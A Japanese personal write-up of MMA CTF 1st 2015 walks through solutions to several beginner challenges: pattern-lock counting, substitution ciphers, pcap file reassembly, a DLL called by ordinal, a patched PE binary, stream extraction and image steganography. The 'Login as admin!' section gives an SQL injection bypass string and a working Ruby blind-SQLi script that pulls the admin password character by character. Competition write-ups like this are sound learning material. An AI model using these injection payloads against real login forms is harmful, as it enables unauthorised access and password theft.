チームnicklegrで個人参加。
420点で140位でした。(672チーム中)
簡単な問題しか解けてないですが、習慣づけるためにもWriteupを書いてみます。
Welcome!!
日本語の読解力を問う問題。
Pattern Lock (Flag 1)
9! = 362880なので総当たり可能。
require "pp"
# 0 1 2
# 3 4 5
# 6 7 8
# n -> mに行くならREQ_PASS[n][m]を通過済みであること
REQ_PASS = [
# 0 1 2 3 4 5 6 7 8
[ nil, nil, 1, nil, nil, nil, 3, nil, 4 ], # 0 -> m
[ nil, nil, nil, nil, nil, nil, nil, 4, nil ], # 1 -> m
[ 1, nil, nil, nil, nil, nil, 4, nil, 5 ], # 2 -> m
[ nil, nil, nil, nil, nil, 4, nil, nil, nil ], # 3 -> m
[ nil, nil, nil, nil, nil, nil, nil, nil, nil ], # 4 -> m
[ nil, nil, nil, 4, nil, nil, nil, nil, nil ], # 5 -> m
[ 3, nil, 4, nil, nil, nil, nil, nil, 7 ], # 6 -> m
[ nil, 4, nil, nil, nil, nil, nil, nil, nil ], # 7 -> m
[ 4, nil, 5, nil, nil, nil, 7, nil, nil ], # 8 -> m
]
def bit_set?(mask, bit)
(mask & (1 << bit)) != 0
end
def bit_set(mask, bit)
mask | (1 << bit)
end
def bit_clear(mask, bit)
mask & ~(1 << bit)
end
def solve_in(route, route_mask, max_len)
return 1 if route.size == max_len
cur = route.last
patterns = 0
for i in 0..8
next if bit_set?(route_mask, i)
if REQ_PASS[cur][i]
next unless bit_set?(route_mask, REQ_PASS[cur][i])
end
route << i
route_mask = bit_set(route_mask, i)
patterns += solve_in(route, route_mask, max_len)
route_mask = bit_clear(route_mask, i)
route.pop
end
patterns
end
def solve
patterns = 0
for max_len in 4..9
for start in 0..8
route = [ start ]
route_mask = bit_set(0, start)
patterns += solve_in(route, route_mask, max_len)
end
end
patterns
end
puts solve()
ちなみに、ググれば出てくるらしいです…
Smart Cipher System (Flag 1)
AAA とか BBB とか入力すると、ASCIIコードにいくつか足してるだけらしい。
arr = %w|36 36 2a 64 4b 4b 4a 21 1e 4b 1f 20 1f 21 4d 4b 1b 1d 19 4f 21 4c 1d 4a 4e 1c 4c 1b 22 4f 22 22 1b 21 4c 20 1d 4f 1f 4c 4a 19 22 1a 66|
puts arr.map{ |e|
diff = 0x61 - 0x4a
(e.to_i(16) + diff).chr
}.join
Smart Cipher System (Flag 2)
適当に文字列を入れたり文字を入れ替えたりすると、平文と暗号文が1文字ずつ対応していることがわかる。(換字式暗号)
なので、すべての文字を変換させてテーブルを作り、逆変換する。
arr = %w|e3 e3 83 21 33 96 23 43 ef 9a 9a 05 18 c7 23 07 07 07 c7 9a 04 33 23 07 23 ef 12 c7 04 96 43 23 23 18 04 04 05 c7 fb 18 96 43 ef 43 ff|
plain = ""
enc = []
for i in 32..126
plain += i.chr
enc << i
end
puts plain
# plainをWebに投げてencを得る
enc = %w|b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3|
ans = ""
arr.each do |e|
i = enc.index(e)
ans += plain[i]
end
puts ans
Login as admin!
user admin
pass ' OR 1=1--
を入れるとログインできる。
求めるのはadminのパスワードなので、Blind SQLiする。
require 'net/http'
require 'uri'
require 'pp'
require 'pry'
# require 'pry-nav'
$http = Net::HTTP.new('arrive.chal.mmactf.link', 80)
$path = '/login.cgi'
def check(index, char)
# http://www.atmarkit.co.jp/ait/articles/0608/26/news014_2.html
vector = "' or substr((select password from user where user='admin'),#{index},1)='#{char}' --"
# query = "username=admin&password=' or '1'='1' --"
query = "username=admin&password=#{vector}"
puts query
response = $http.post($path, query)
# puts response.body
sleep 2
raise "code = #{response.code}\n#{response.body}" if response.code != "200" && response.code != "302"
response.code == "302"
end
result = ""
for i in 1..25
found = false
# chars = ('a'..'z').to_a + ('A'..'Z').to_a + (0..9).to_a + ["{", "}"]
# chars = (32..126).map do |e| e.chr end
# chars -= ["&"]
chars = ('a'..'z').to_a + ["{", "}", "_"]
# pp chars
for c in chars
if check(i, c)
puts "index #{i} is #{c}"
result += c
found = true
break
end
end
if !found
puts "finished"
puts "flag: #{result}"
break
end
end
某所で全く同じ問題を解いたことがあるので流用。
httpのエラーチェックが甘くてフラグが化けたり、_
を文字リストに入れ忘れたりして地味に手こずった。
Splitted
Wiresharkで開くと、1個のファイルをPartial Contentで分割してダウンロードしている。
10個くらいだったので、手作業でバイナリエディタでくっつけた。
How to use?
% file howtouse
howtouse: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
目grepすると、fnhowtouse@@YAHH@Z
。この関数を呼べばいいらしい。
@@YAHH@Z
でググると、シグネチャはint fnhowtouse(int num)
でよさそう。
HMODULE hModule = ::LoadLibrary("howtouse.dll");
typedef int (*GetNumberFunc)(int);
GetNumberFunc fun = (GetNumberFunc)::GetProcAddress("fnhowtouse");
int number = fun();
NULLが返ってくる。うーん。
> dumpbin.exe /exports howtouse.dll
...
ordinal hint RVA name
1 0 00001130 ?fnhowtouse@@YAHH@Z
そういえばordinalとかあったな。これで呼べないか。
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE hModule = ::LoadLibraryA("howtouse.dll");
typedef int (*GetNumberFunc)(int);
GetNumberFunc fun = (GetNumberFunc)::GetProcAddress(hModule, MAKEINTRESOURCEA(1)); // "fnhowtouse"
for(int i=0;i<45;i++)
{
int number = fun(i);
printf("%c", (char)number);
}
printf("\n");
return 0;
}
できた。ちなみに45以上を渡すとメモリ破壊するらしい。
This program cannot be run in DOS mode.
$ xxd -g 1 cannotberun
...
0000040: 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 49 73 ........!..L.!Is
0000050: 20 74 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 this program ca
0000060: 6e 27 74 20 62 65 20 72 75 6e 20 6f 6e 20 44 4f n't be run on DO
0000070: 53 3f 0d 0a 0d 0a 24 24 24 00 00 00 00 00 00 00 S?....$$$.......
...
わらた。PEヘッダをいじってあるらしい。
Stirlingのビットイメージで見ると、0000400から.textっぽい(x86の可変長命令な感じ)ので、そこを切り出してHopperに投げたらrawで逆アセンブルしてくれた。
EntryPoint:
00000000 push 0x1
00000002 push 0x10
00000004 call dword [ds:0x4020a4]
0000000a push eax
0000000b push 0x4020f4
00000010 mov byte [ds:eax], 0x37
00000013 mov byte [ds:eax+0x1], 0x61
00000017 mov byte [ds:eax+0x2], 0x33
0000001b mov byte [ds:eax+0x3], 0x35
0000001f mov byte [ds:eax+0x4], 0x68
00000023 mov byte [ds:eax+0x5], 0x78
00000027 mov byte [ds:eax+0x6], 0x62
0000002b mov byte [ds:eax+0x7], 0x39
0000002f mov byte [ds:eax+0x8], 0x71
00000033 mov byte [ds:eax+0x9], 0x38
00000037 mov byte [ds:eax+0xa], 0x31
0000003b mov byte [ds:eax+0xb], 0x66
0000003f mov byte [ds:eax+0xc], 0x73
00000043 mov byte [ds:eax+0xd], 0x67
00000047 mov byte [ds:eax+0xe], 0x36
0000004b call dword [ds:0x40209c]
00000051 add esp, 0x10
00000054 or eax, 0xffffffff
00000057 ret
; endp
なんて素直。
arr = [ 0x37, 0x61, 0x33, 0x35, 0x68, 0x78, 0x62, 0x39, 0x71, 0x38, 0x31, 0x66, 0x73, 0x67, 0x36, ]
arr.map! do |e|
e.chr
end
puts arr.join()
stream...
Wiresharkに投げ込む。GET /
のストリームを見ると、
User-Agent: NSPlayer/9.0.0.4503
...
Content-Type: application/x-mms-framed
ググると、Windows Media Playerのストリーミング形式らしい。
-
GET /
のレスポンスをファイルに保存 - httpヘッダをバイナリエディタで除去
- http://www.geocities.jp/the13lackart/megalodon.html#Inaba を使ってwmvに変換
- 再生するとフラグ
ストリームをそのまま流すhttpサーバを立てて、Windows Media Playerで接続してもいけると思う。
Nagoya Castle
stegsolve.jarに読ませたら出てきた。
各ピクセルのLSBだけ取り出すと画像でフラグが入ってるみたい。
リンク
他の方のWriteup
- eshiho's Blog — MMACTF 1st 2015 Writeup
- 3846masa | MMACTFに参戦したもののサッパリだった話 と 申し訳程度のWriteup
- MMACTF Writeup
- CTF_WRITEUPS/2015/MMACTF at master · smokeleeteveryday/CTF_WRITEUPS
- MMACTFに参加しました « Gen's blog
- mma CTF 1st 2015 RPS write up
- alice.py
- MMACTF writeup|CTF|ぱろっくメモ
- MMA CTF 2015 - 兼雑記
- MMA CTF 2015 – Motto Mijikai Address (Crypto/Web 100+300) | More Smoked Leet Chicken
- MMA CTF 1st 2015 writeup
- mma ctf writeup | Euphoria Reload3d
- MMA CTF 1st 2015 writeup - しゃろの日記
- MMA CTF 1st 2015 Write-up - kusano_k’s blog
- CTF Web Challenges | Blog - Init-labs
- #mma | 0x90r00t
- MMA CTF 1st 2015に出た話 (@_193s) | 193s::Diary 2
- write-ups-2015/mma-ctf-2015 at master · ctfs/write-ups-2015
- [Python] MMA CTF 1st 2015 alicegame - Pastebin.com
- mage ctf writeup: MMA CTF 1st 2015